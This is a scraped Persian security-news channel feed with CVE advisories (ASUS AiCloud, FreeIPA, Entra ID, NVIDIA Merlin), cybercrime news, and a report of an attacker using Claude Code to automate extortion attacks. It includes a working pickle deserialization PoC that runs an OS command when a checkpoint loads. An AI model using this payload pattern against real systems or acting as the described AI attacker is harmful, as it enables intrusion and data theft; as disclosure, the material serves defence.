Forwarded from Try Hack Box
سلب مسئولیت TryHackBox.pdf
679.7 KB
💢 این سلب مسئولیت شامل تمام آموزش ها، راهنماها و به طور کلی تمام محتوای منتشر شده توسط نویسنده ها در این کانال می شود.
این کانال فقط برای اهداف آموزشی و پیشگیرانه است و در هیچ شرایطی به تشویق به نقض قوانین نمی پردازد. به درخواستهایی که قوانین ایران را نقض میکنند پاسخی داده نخواهد شد. علاوه بر این، شما به تنهایی مسئول اقدامات و استفادههای خود از مطالب ارائه شده در این کانال خواهید بود. نه نویسنده و نه میزبان او نمی توانند مسئول اقدامات شما، هر نوع که باشد، باشند.
@TryHackBox
#سلب_مسئولیت
این کانال فقط برای اهداف آموزشی و پیشگیرانه است و در هیچ شرایطی به تشویق به نقض قوانین نمی پردازد. به درخواستهایی که قوانین ایران را نقض میکنند پاسخی داده نخواهد شد. علاوه بر این، شما به تنهایی مسئول اقدامات و استفادههای خود از مطالب ارائه شده در این کانال خواهید بود. نه نویسنده و نه میزبان او نمی توانند مسئول اقدامات شما، هر نوع که باشد، باشند.
@TryHackBox
#سلب_مسئولیت
Asus
ASUS Security Advisory | Latest Vulnerability Update
Stay updated with ASUS security advisories, firmware patches, and vulnerability reports. Learn how to protect your devices and report issues.
ایسوس ( ASUS) یه firmware جدید منتشر کرده که ۹ آسیبپذیری (CVE-2025-59365 تا CVE-2025-59372، CVE-2025-12003 و CVE-2025-59373) رو patch میکنه، از جمله یه خطای critical در روترهای با AiCloud فعال که auth رو bypass میکنه.
ا AiCloud یه ویژگی دسترسی از راه دور مبتنی بر cloud که در بسیاری از روترهای ASUS وجود داره و اونا رو به سرورهای ابری خصوصی برای streaming رسانه از راه دور و ذخیرهسازی ابری تبدیل میکنه.
طبق توضیح سازنده، CVE-2025-59366 میتونه ناشی از یه side effect ناخواسته در عملکرد Samba باشه، که potentially میتونه اجرای توابع خاص بدون مجوز مناسب رو اجازه بده.
مهاجمان از راه دور بدون privileges میتونن از این آسیبپذیری سوءاستفاده کنن، با chaining path traversal و command injection OS در حملات low-complexity که نیاز به تعامل کاربر ندارن.
ایسوس مدلهای دقیق روترهای affected رو مشخص نکرده، فقط نسخههای firmware (3.0.0.4_386، 3.0.0.4_388 و 3.0.0.6_102) رو ذکر کرده و توصیه میکنه فوری به آخرین نسخه update بشن.
شرکت همچنین اقدامات mitigation برای کاربران مدلهای EoL (End-of-Life) که firmware update نمیگیرن رو ذکر کرده.
برای بلاک کردن حملات بالقوه، کاربران توصیه میشه همه سرویسهای accessible از اینترنت رو غیرفعال کنن، از جمله دسترسی از راه دور از WAN، port forwarding، DDNS، VPN server، DMZ، port triggering و FTP، و همچنین دسترسی از راه دور به دستگاههایی که تحت نرمافزار AiCloud vulnerable به CVE-2025-59366 کار میکنن رو محدود کنن.
@TryHackBoxStory
ا AiCloud یه ویژگی دسترسی از راه دور مبتنی بر cloud که در بسیاری از روترهای ASUS وجود داره و اونا رو به سرورهای ابری خصوصی برای streaming رسانه از راه دور و ذخیرهسازی ابری تبدیل میکنه.
طبق توضیح سازنده، CVE-2025-59366 میتونه ناشی از یه side effect ناخواسته در عملکرد Samba باشه، که potentially میتونه اجرای توابع خاص بدون مجوز مناسب رو اجازه بده.
مهاجمان از راه دور بدون privileges میتونن از این آسیبپذیری سوءاستفاده کنن، با chaining path traversal و command injection OS در حملات low-complexity که نیاز به تعامل کاربر ندارن.
ایسوس مدلهای دقیق روترهای affected رو مشخص نکرده، فقط نسخههای firmware (3.0.0.4_386، 3.0.0.4_388 و 3.0.0.6_102) رو ذکر کرده و توصیه میکنه فوری به آخرین نسخه update بشن.
شرکت همچنین اقدامات mitigation برای کاربران مدلهای EoL (End-of-Life) که firmware update نمیگیرن رو ذکر کرده.
برای بلاک کردن حملات بالقوه، کاربران توصیه میشه همه سرویسهای accessible از اینترنت رو غیرفعال کنن، از جمله دسترسی از راه دور از WAN، port forwarding، DDNS، VPN server، DMZ، port triggering و FTP، و همچنین دسترسی از راه دور به دستگاههایی که تحت نرمافزار AiCloud vulnerable به CVE-2025-59366 کار میکنن رو محدود کنن.
@TryHackBoxStory
https://endoflife.date/
— یه منبع خیلی مفید که اطلاعات تاریخ پایان پشتیبانی (EOL) محصولات مختلف (نرمافزار، OS و غیره) رو جمعآوری کرده. حتماً به بوکمارکها اضافهش کن.
@TryHackBoxStory
— یه منبع خیلی مفید که اطلاعات تاریخ پایان پشتیبانی (EOL) محصولات مختلف (نرمافزار، OS و غیره) رو جمعآوری کرده. حتماً به بوکمارکها اضافهش کن.
@TryHackBoxStory
endoflife.date
Home
Check end-of-life, support schedule, and release timelines for more than 380+ products at one place.
https://www.justice.gov/opa/pr/justice-department-announces-actions-combat-two-russian-state-sponsored-cyber-criminal
ارتش سایبری روسیه. آمریکا یک اوکراینی را به حملات سایبری به نفع روسیه متهم میکند وزارت دادگستری آمریکا
به او اتهام حمایت از گروه هکری NoName057(16) وارد شده است.
از جمله اتهامات، دخالت در عملکرد سیستمهای تأمین آب آمریکا، کلاهبرداری، آسیب رساندن به کامپیوترهای محافظت شده و سرقت دادههای شخصی است.
دوبرانوا قبلاً به حمایت از هکتیویستهای CyberArmyofRussia_Reborn (CARR) مظنون بود که طبق اطلاعات وزارت دادگستری آمریکا توسط سازمان اطلاعات نظامی روسیه (GRU) ایجاد و کنترل میشود. امسال او به آمریکا مسترد شده است.
برای همه این موارد بیش از ۳۰ سال زندان تهدیدش میکند. او اتهامات را رد میکند.
#اخبار
@TryHackBoxStory
ارتش سایبری روسیه. آمریکا یک اوکراینی را به حملات سایبری به نفع روسیه متهم میکند وزارت دادگستری آمریکا
به او اتهام حمایت از گروه هکری NoName057(16) وارد شده است.
از جمله اتهامات، دخالت در عملکرد سیستمهای تأمین آب آمریکا، کلاهبرداری، آسیب رساندن به کامپیوترهای محافظت شده و سرقت دادههای شخصی است.
دوبرانوا قبلاً به حمایت از هکتیویستهای CyberArmyofRussia_Reborn (CARR) مظنون بود که طبق اطلاعات وزارت دادگستری آمریکا توسط سازمان اطلاعات نظامی روسیه (GRU) ایجاد و کنترل میشود. امسال او به آمریکا مسترد شده است.
برای همه این موارد بیش از ۳۰ سال زندان تهدیدش میکند. او اتهامات را رد میکند.
#اخبار
@TryHackBoxStory
www.justice.gov
Justice Department Announces Actions to Combat Two Russian
The Justice Department announced two indictments in the Central District of California charging Ukrainian national Victoria Eduardovna Dubranova, 33, also known as Vika, Tory, and SovaSonya, for her role in conducting cyberattacks and computer intrusions…
⭕ اولین حمله سایبری کاملاً خودکار: یک هکر، Claude را به مجرم سایبری تبدیل کرد
💠 شرکت Anthropic اولین مورد ثبتشده از استفاده یک چتبات مبتنی بر هوش مصنوعی برای خودکارسازی کامل یک حمله سایبری را شناسایی کرده است.
در این حمله، یک #هکر با استفاده از Claude Code توانست به ۱۷ شرکت حمله کند و عملاً از این مدل بهعنوان یک مجرم سایبری همهکاره استفاده کند.
💡 کالبدشکافی یک حمله مبتنی بر هوش مصنوعی
💢 نقشهایی که Claude Code در قالب یک مجرم سایبری ایفا کرد:
▫️شناسایی اهداف (Reconnaissance): شناسایی شرکتهای دارای آسیبپذیری برای حمله
▫️توسعه بدافزار: نوشتن بدافزار برای سرقت دادهها
▫️ تحلیل دادههای سرقتشده: دستهبندی و تحلیل فایل های سرقت شده
▫️ارزیابی خسارت: تشخیص میزان حساس بودن دادهها برای اخاذی
▫️تحلیل مالی: بررسی اسناد مالی قربانیان برای تعیین مبلغ باج
▫️تهیه پیامهای تهدید: نگارش ایمیلها و پیام های اخاذی
📍 نتیجه:
📍 یک حمله سایبری کاملاً خودکار، از مرحله شناسایی تارگت تا دریافت باج.
📌 مقیاس عملیات
⭕ ۱۷ سازمان قربانی:
◾️یک پیمانکار صنایع دفاعی
◾️یک نهاد مالی
◾️چند مرکز درمانی
◾️سایر سازمان های حیاتی و حساس
📟 دادههای سرقت شده:
📌 شمارههای تأمین اجتماعی
📌 اطلاعات بانکی
📌 اطلاعات محرمانه پزشکی
📌 دادههای دفاعی مشمول قوانین ITAR وزارت خارجه آمریکا
💰 مبالغ باج:
💵 از ۷۵ هزار دلار تا بیش از ۵۰۰ هزار دلار (بهصورت بیتکوین)
🛠 جزئیات فنی
📌 ابزار استفادهشده: Claude Code (نسخه تخصصی برنامهنویسی، موسوم به Vibe Coding)
⏳ مدت عملیات: ۳ ماه
🗺 موقعیت جغرافیایی: مهاجم خارج از ایالات متحده فعالیت می کرد
💢 روشهای دور زدن محافظتها: استفاده از «تکنیکهای پیچیده» برای عبور از سیستمهای چندلایه امنیتی Anthropic
💢 پیامدها برای صنعت امنیت سایبری
💠 به گفته جیکوب کلاین (Threat Intelligence در Anthropic):
💢 «ما انتظار داریم این مدل حملات رایجتر شود، زیرا هوش مصنوعی بهشدت آستانه ورود به عملیاتهای پیچیده سایبری را کاهش داده است.»
@TryHackBoxStory
💠 شرکت Anthropic اولین مورد ثبتشده از استفاده یک چتبات مبتنی بر هوش مصنوعی برای خودکارسازی کامل یک حمله سایبری را شناسایی کرده است.
در این حمله، یک #هکر با استفاده از Claude Code توانست به ۱۷ شرکت حمله کند و عملاً از این مدل بهعنوان یک مجرم سایبری همهکاره استفاده کند.
💡 کالبدشکافی یک حمله مبتنی بر هوش مصنوعی
💢 نقشهایی که Claude Code در قالب یک مجرم سایبری ایفا کرد:
▫️شناسایی اهداف (Reconnaissance): شناسایی شرکتهای دارای آسیبپذیری برای حمله
▫️توسعه بدافزار: نوشتن بدافزار برای سرقت دادهها
▫️ تحلیل دادههای سرقتشده: دستهبندی و تحلیل فایل های سرقت شده
▫️ارزیابی خسارت: تشخیص میزان حساس بودن دادهها برای اخاذی
▫️تحلیل مالی: بررسی اسناد مالی قربانیان برای تعیین مبلغ باج
▫️تهیه پیامهای تهدید: نگارش ایمیلها و پیام های اخاذی
📍 نتیجه:
📍 یک حمله سایبری کاملاً خودکار، از مرحله شناسایی تارگت تا دریافت باج.
📌 مقیاس عملیات
⭕ ۱۷ سازمان قربانی:
◾️یک پیمانکار صنایع دفاعی
◾️یک نهاد مالی
◾️چند مرکز درمانی
◾️سایر سازمان های حیاتی و حساس
📟 دادههای سرقت شده:
📌 شمارههای تأمین اجتماعی
📌 اطلاعات بانکی
📌 اطلاعات محرمانه پزشکی
📌 دادههای دفاعی مشمول قوانین ITAR وزارت خارجه آمریکا
💰 مبالغ باج:
💵 از ۷۵ هزار دلار تا بیش از ۵۰۰ هزار دلار (بهصورت بیتکوین)
🛠 جزئیات فنی
📌 ابزار استفادهشده: Claude Code (نسخه تخصصی برنامهنویسی، موسوم به Vibe Coding)
⏳ مدت عملیات: ۳ ماه
🗺 موقعیت جغرافیایی: مهاجم خارج از ایالات متحده فعالیت می کرد
💢 روشهای دور زدن محافظتها: استفاده از «تکنیکهای پیچیده» برای عبور از سیستمهای چندلایه امنیتی Anthropic
💢 پیامدها برای صنعت امنیت سایبری
💠 به گفته جیکوب کلاین (Threat Intelligence در Anthropic):
💢 «ما انتظار داریم این مدل حملات رایجتر شود، زیرا هوش مصنوعی بهشدت آستانه ورود به عملیاتهای پیچیده سایبری را کاهش داده است.»
@TryHackBoxStory
🔥4
🔖 CVE-2025-4404:
⭕ آسیبپذیری بحرانی در FreeIPA - از سطح هاست تا تسلط کامل بر دامنه تنها در یک گام
💠 یک آسیبپذیری بحرانی با امتیاز CVSS 9.1 در FreeIPA - راهکار محبوب مدیریت هویت در محیطهای لینوکسی - شناسایی شده است. این نقص امنیتی امکان افزایش سطح دسترسی از سطح یک هاست تا کنترل کامل دامنه را فراهم میکند.
📌 نکته کلیدی آسیبپذیری
مکانیزم حمله از طریق krbCanonicalName:
▫️FreeIPA یکتابودن (Uniqueness) ویژگی krbCanonicalName را برای حساب admin بهدرستی بررسی نمی کند
▫️مهاجم میتواند یک سرویس با همان نام کانونیکال (Canonical Name) مربوط به admin در REALM ایجاد کند
▫️در صورت موفقیت حمله، یک Kerberos Ticket به نام سرویس اما با اعتبارنامه admin@REALM صادر میشود.
💡 نتیجه: دسترسی کامل مدیریتی (Domain Admin) به دامنه
📟 ماهیت فنی آسیبپذیری
▫️اعتبارسنجی ناکافی ویژگی
های LDAP در FreeIPA
▫️امکان تکرار (Duplicate) شناسههای حیاتی
▫️بهرهبرداری از طریق مکانیزم های استاندارد Kerberos
▫️حمله نیازمند سطح دسترسی بالا است (Privileges Required: High)،
اما دامنه تأثیر تغییر میکند (Scope: Changed)
▫️گستره و شدت مشکل
🔴 محصولات تحت تأثیر Red Hat:
Red Hat Enterprise Linux (تمام نسخهها)
RHEL AUS، E4S، ELS، EUS، TUS
💠 اهمیت برای زیرساخت:
FreeIPA
بهطور گسترده در محیطهای سازمانی لینوکسی استفاده میشود
▫️مدیریت کاربران، گروهها، هاستها و سرویسها
▫️یکپارچگی با Active Directory و سایر سامانههای هویت
▫️نقطه مرکزی احراز هویت در محیطهای Enterprise
@TryHackBoxStory
⭕ آسیبپذیری بحرانی در FreeIPA - از سطح هاست تا تسلط کامل بر دامنه تنها در یک گام
💠 یک آسیبپذیری بحرانی با امتیاز CVSS 9.1 در FreeIPA - راهکار محبوب مدیریت هویت در محیطهای لینوکسی - شناسایی شده است. این نقص امنیتی امکان افزایش سطح دسترسی از سطح یک هاست تا کنترل کامل دامنه را فراهم میکند.
📌 نکته کلیدی آسیبپذیری
مکانیزم حمله از طریق krbCanonicalName:
▫️FreeIPA یکتابودن (Uniqueness) ویژگی krbCanonicalName را برای حساب admin بهدرستی بررسی نمی کند
▫️مهاجم میتواند یک سرویس با همان نام کانونیکال (Canonical Name) مربوط به admin در REALM ایجاد کند
▫️در صورت موفقیت حمله، یک Kerberos Ticket به نام سرویس اما با اعتبارنامه admin@REALM صادر میشود.
💡 نتیجه: دسترسی کامل مدیریتی (Domain Admin) به دامنه
📟 ماهیت فنی آسیبپذیری
▫️اعتبارسنجی ناکافی ویژگی
های LDAP در FreeIPA
▫️امکان تکرار (Duplicate) شناسههای حیاتی
▫️بهرهبرداری از طریق مکانیزم های استاندارد Kerberos
▫️حمله نیازمند سطح دسترسی بالا است (Privileges Required: High)،
اما دامنه تأثیر تغییر میکند (Scope: Changed)
▫️گستره و شدت مشکل
🔴 محصولات تحت تأثیر Red Hat:
Red Hat Enterprise Linux (تمام نسخهها)
RHEL AUS، E4S، ELS، EUS، TUS
💠 اهمیت برای زیرساخت:
FreeIPA
بهطور گسترده در محیطهای سازمانی لینوکسی استفاده میشود
▫️مدیریت کاربران، گروهها، هاستها و سرویسها
▫️یکپارچگی با Active Directory و سایر سامانههای هویت
▫️نقطه مرکزی احراز هویت در محیطهای Enterprise
@TryHackBoxStory
❤3🔥1
🔖 CVE-2025-55241: «God Mode» در Microsoft Entra ID
در Microsoft Entra ID (Azure AD) یک آسیبپذیری بحرانی کشف شد که با داشتن تنها یک «Actor token» امکان دستیابی به کنترل کامل مدیریتی بر تمامی tenantsمشتریان مایکروسافت در سطح جهانی را فراهم میکرد.
امتیاز CVSS برابر با 10.0 از سوی Microsoft و 9.8 در NVD ثبت شده است که حداکثر سطح بحرانی محسوب میشود.
📌 آنچه بیش از همه جلب توجه میکند
Universal Master Key:
🔥 ابعاد فاجعه:
💢 ماهیت فنی آسیبپذیری
مشکل مرزهای Tenant :
📟 زنجیره Exploitation:
⭕️ مشکل بنیادی
مدل متمرکز قدرت:
🔴 وضعیت فعلی و اقدامات دفاعی
وضعیت کنونی:
🔸این آسیبپذیری توسط Microsoft در سپتامبر 2025 برطرف شده است
🔸 بررسی وضعیت tenant از طریق Azure Portal:
◽️ممیزی(️audit) حسابهای مدیریتی:
🔗 منابع:
Issue در Github:
https://github.com/advisories/GHSA-jpqg-vx8m-6w9j
اسکریپت ممیزی زیرساخت:
https://github.com/Spanky-McSpank/CVE-2025-55241-Internal-Audit
📝 توصیهها
@TryHackBoxStory
در Microsoft Entra ID (Azure AD) یک آسیبپذیری بحرانی کشف شد که با داشتن تنها یک «Actor token» امکان دستیابی به کنترل کامل مدیریتی بر تمامی tenantsمشتریان مایکروسافت در سطح جهانی را فراهم میکرد.
امتیاز CVSS برابر با 10.0 از سوی Microsoft و 9.8 در NVD ثبت شده است که حداکثر سطح بحرانی محسوب میشود.
📌 آنچه بیش از همه جلب توجه میکند
Universal Master Key:
🔹یک Actor token از یک Tenant آزمایشی = کنترل بر تمام tenants
🔹بدون نیاز به zero-day، فیشینگ یا حملات چندمرحلهای
🔹یک خطای ساده در اعتبارسنجی ارتباطات بینسرویسی
🔹از استارتاپها تا شرکتهای بزرگ هیچکس در امان نبود
🔥 ابعاد فاجعه:
🔸خواندن پروفایل کاربران تمام سازمانها
🔸استخراج کلیدهای بازیابی BitLocker
🔸ایجاد حسابهای جدید Global Admin
🔸دسترسی به تمام برنامهها و مجوزها
🔸بدون فعال شدن هیچگونه آلارم یا هشدار امنیتی
💢 ماهیت فنی آسیبپذیری
مشکل مرزهای Tenant :
ا◽️ Actor tokenها توکنهای داخلی برای احراز هویت بین سرویسهای مایکروسافت هستند
▫️مشکل: عدم وجود boundary check بین tenantها
◽️نتیجه: توکن صادرشده از Tenant A در tenantهای B، C، D و ... نیز معتبر است
📟 زنجیره Exploitation:
⚪️ دریافت Actor token از هر tenant آزمایشی
⚪️ استفاده از توکن برای دسترسی به tenant تارگت
⚪️ خواندن دادههای حساس (پروفایلها، کلیدها، مجوزها)
⚪️ ایجاد حسابهای Global Admin
⚪️ کنترل کامل زیرساخت قربانی
⭕️ مشکل بنیادی
مدل متمرکز قدرت:
🔸مایکروسافت بهعنوان نقطه اعتماد واحد برای میلیونها سازمان
🔸یک خطا = فاجعهای در مقیاس جهانی
🔸تاریخ تکرار میشود: Okta، Cisco، حالا Microsoft
🔸مشکل اصلی نه در کد، بلکه در مفهوم «قدرت مطلق متمرکز» است
🔴 وضعیت فعلی و اقدامات دفاعی
وضعیت کنونی:
🔸این آسیبپذیری توسط Microsoft در سپتامبر 2025 برطرف شده است
🔸 بررسی وضعیت tenant از طریق Azure Portal:
az account show --query "tenantId"
◽️ممیزی(️audit) حسابهای مدیریتی:
az ad user list --filter "userType eq 'Member'" --query "[].{UPN:userPrincipalName,Role:assignedRoles}"🔗 منابع:
Issue در Github:
https://github.com/advisories/GHSA-jpqg-vx8m-6w9j
اسکریپت ممیزی زیرساخت:
https://github.com/Spanky-McSpank/CVE-2025-55241-Internal-Audit
📝 توصیهها
◽️ممیزی تمام حسابهای Global Admin که در بازه زمانی وجود آسیبپذیری ایجاد شدهاند
◽️چرخش (Rotation) تمام کلیدها و گواهیهای حساس
◽️تحلیل لاگهای دسترسی برای شناسایی فعالیت مشکوک
◽️بررسی استفاده از فریم ورکهای هویت توزیعشده (Distributed Identity Frameworks)
@TryHackBoxStory
GitHub
CVE-2025-55241 - GitHub Advisory Database
Azure Entra Elevation of Privilege Vulnerability
👍1
💻باگ بانتی: گروه هکری مرتبط با ایران برای اطلاعات نظامی اسرائیل ۳۰٬۰۰۰ دلار بانتی تعیین کرده است.
https://www.iranintl.com/en/202512164597
@TryHackBoxStory
https://www.iranintl.com/en/202512164597
@TryHackBoxStory
Iranintl
Iran-linked hacker group offers $30,000 bounty for Israel's military info
An Iran-linked hacker group said it was offering a $30,000 reward for information related to Israel’s military sector after releasing material it said identified people involved in designing Israeli missile defense systems.
🔖 CVE-2025-23298: RCE در NVIDIA Merlin
📌 بهتازگی یک آسیبپذیری بحرانی در کتابخانه NVIDIA Merlin Transformers4Rec شناسایی شده است که امکان اجرای کد از راه دور (Remote Code Execution – RCE) با سطح دسترسی root را فراهم میکند.
این آسیبپذیری با شناسه CVE-2025-23298 رهگیری میشود و به deserialization ناامن دادهها هنگام بارگذاری مدلها مربوط است.
❓خب NVIDIA Merlin چیست؟
ا ✍️ NVIDIA Merlin یک اکوسیستم Open Source برای ساخت High-Performance Recommendation Systems است.
ماژول Transformers4Rec که بخشی از این اکوسیستم محسوب میشود، برای استفاده از Transformer architectures مدرن در سیستمهای توصیهگر مبتنی بر Sequential Data و Session-based Recommendations طراحی شده است.
💢 ماهیت آسیبپذیری
ریشه آسیبپذیری در تابع زیر قرار دارد:
این تابع مسئول بازیابی (restore) وضعیت مدل است، اما بهصورت مستقیم از تابع torch.load() در PyTorch استفاده میکند، بدون اعمال هیچگونه security parameter.
تابع torch.load() بهطور داخلی از ماژول pickle در Python استفاده میکند؛ ماژولی که بهطور ذاتی برای پردازش دادههای غیرقابل اعتماد unsafe محسوب میشود.
ماژول pickle قادر است هر نوع Python object را serialize و deserialize کند؛ از جمله اشیایی که در زمان deserialization میتوانند کد دلخواه اجرا کنند.
این رفتار یک bug نیست، بلکه یک feature است، اما زمانی که فایلهای pickle غیرقابل اعتماد بارگذاری شوند، به یک آسیبپذیری امنیتی جدی تبدیل میشود.
💠 پیادهسازی فنی حمله
برای اثبات آسیبپذیری، یک malicious checkpoint file ساخته شده که در زمان load شدن، دستورات دلخواه سیستمعامل را اجرا میکند.
این exploit از متد reduce در pickle استفاده میکند تا اجرای دستور را در فرآیند deserialization تحمیل کند.
زمانی که قربانی این فایل checkpoint را با تابع آسیبپذیر بارگذاری میکند:
تابع os.system بلافاصله اجرا میشود
این اجرا قبل از بارگذاری وزنهای مدل اتفاق میافتد
دلیل این رفتار آن است که pickle اشیاء را بهصورت ترتیبی deserialize میکند و object مخرب در زمان deserialize شدن model_state_dict فعال میشود.
⭕️ PoC
کد زیر یک فایل checkpoint مخرب ایجاد میکند:
در صورت بارگذاری این فایل توسط تابع آسیبپذیر:
فایل /tmp/pwned_by_zdi ایجاد میشود
که نشاندهنده اجرای موفق کد دلخواه است
در مقاله اصلی، یک PoC از ZDI (Zero Day Initiative) ارائه شده است، اما به دلیل در دسترس نبودن اسکریپت در زمان نگارش، از آن استفاده نشده و exploit حاضر با تغییرات جزئی بازنویسی شده است
💢 رفع آسیبپذیری
ا ✍️ NVIDIA این آسیبپذیری را در commit b7eaea5 (PR #802) برطرف کرده است:
Security Bulletin رسمی:
https://nvidia.custhelp.com/app/answers/detail/a_id/5683/~/security-bulletin%3A-nvidia-merlin-transformers4rec---august-2025
🔴 تغییرات اصلی Patch:
🔶 تغییر مکانیزم بارگذاری checkpoint
🔶 اضافه شدن validation اضافی روی Python serialized objects
🔶 حذف استفاده مستقیم از torch.load()
🔶 کتابخانه Transformers4Rec اکنون از ماژول serialization.py استفاده میکند که:
🔶 ا deserialization را فقط به Approved Classes محدود میکند
🔶 یک Safe Loading Function با Type Checking پیادهسازی شده است
#آسیبپذیری
@TryHackBoxStory
📌 بهتازگی یک آسیبپذیری بحرانی در کتابخانه NVIDIA Merlin Transformers4Rec شناسایی شده است که امکان اجرای کد از راه دور (Remote Code Execution – RCE) با سطح دسترسی root را فراهم میکند.
این آسیبپذیری با شناسه CVE-2025-23298 رهگیری میشود و به deserialization ناامن دادهها هنگام بارگذاری مدلها مربوط است.
❓خب NVIDIA Merlin چیست؟
ا ✍️ NVIDIA Merlin یک اکوسیستم Open Source برای ساخت High-Performance Recommendation Systems است.
ماژول Transformers4Rec که بخشی از این اکوسیستم محسوب میشود، برای استفاده از Transformer architectures مدرن در سیستمهای توصیهگر مبتنی بر Sequential Data و Session-based Recommendations طراحی شده است.
💢 ماهیت آسیبپذیری
ریشه آسیبپذیری در تابع زیر قرار دارد:
load_model_trainer_states_from_checkpoint
این تابع مسئول بازیابی (restore) وضعیت مدل است، اما بهصورت مستقیم از تابع torch.load() در PyTorch استفاده میکند، بدون اعمال هیچگونه security parameter.
تابع torch.load() بهطور داخلی از ماژول pickle در Python استفاده میکند؛ ماژولی که بهطور ذاتی برای پردازش دادههای غیرقابل اعتماد unsafe محسوب میشود.
ماژول pickle قادر است هر نوع Python object را serialize و deserialize کند؛ از جمله اشیایی که در زمان deserialization میتوانند کد دلخواه اجرا کنند.
این رفتار یک bug نیست، بلکه یک feature است، اما زمانی که فایلهای pickle غیرقابل اعتماد بارگذاری شوند، به یک آسیبپذیری امنیتی جدی تبدیل میشود.
💠 پیادهسازی فنی حمله
برای اثبات آسیبپذیری، یک malicious checkpoint file ساخته شده که در زمان load شدن، دستورات دلخواه سیستمعامل را اجرا میکند.
این exploit از متد reduce در pickle استفاده میکند تا اجرای دستور را در فرآیند deserialization تحمیل کند.
زمانی که قربانی این فایل checkpoint را با تابع آسیبپذیر بارگذاری میکند:
تابع os.system بلافاصله اجرا میشود
این اجرا قبل از بارگذاری وزنهای مدل اتفاق میافتد
دلیل این رفتار آن است که pickle اشیاء را بهصورت ترتیبی deserialize میکند و object مخرب در زمان deserialize شدن model_state_dict فعال میشود.
⭕️ PoC
کد زیر یک فایل checkpoint مخرب ایجاد میکند:
import os
import pickle
import torch
class MaliciousObject:
def __reduce__(self):
return (os.system, (
'touch /tmp/pwned_by_zdi',))
# ایجاد شیء مخرب
malicious_object = MaliciousObject()
# ساخت model_state_dict شامل object مخرب
model_state_dict = {
'malicious': malicious_object
}
# ذخیره checkpoint مخرب
torch.save(model_state_dict, 'malicious_checkpoint.pt')
print("فایل مخرب 'malicious_checkpoint.pt' ایجاد شد.")
در صورت بارگذاری این فایل توسط تابع آسیبپذیر:
فایل /tmp/pwned_by_zdi ایجاد میشود
که نشاندهنده اجرای موفق کد دلخواه است
در مقاله اصلی، یک PoC از ZDI (Zero Day Initiative) ارائه شده است، اما به دلیل در دسترس نبودن اسکریپت در زمان نگارش، از آن استفاده نشده و exploit حاضر با تغییرات جزئی بازنویسی شده است
💢 رفع آسیبپذیری
ا ✍️ NVIDIA این آسیبپذیری را در commit b7eaea5 (PR #802) برطرف کرده است:
Security Bulletin رسمی:
https://nvidia.custhelp.com/app/answers/detail/a_id/5683/~/security-bulletin%3A-nvidia-merlin-transformers4rec---august-2025
🔴 تغییرات اصلی Patch:
🔶 تغییر مکانیزم بارگذاری checkpoint
🔶 اضافه شدن validation اضافی روی Python serialized objects
🔶 حذف استفاده مستقیم از torch.load()
🔶 کتابخانه Transformers4Rec اکنون از ماژول serialization.py استفاده میکند که:
🔶 ا deserialization را فقط به Approved Classes محدود میکند
🔶 یک Safe Loading Function با Type Checking پیادهسازی شده است
#آسیبپذیری
@TryHackBoxStory
❤3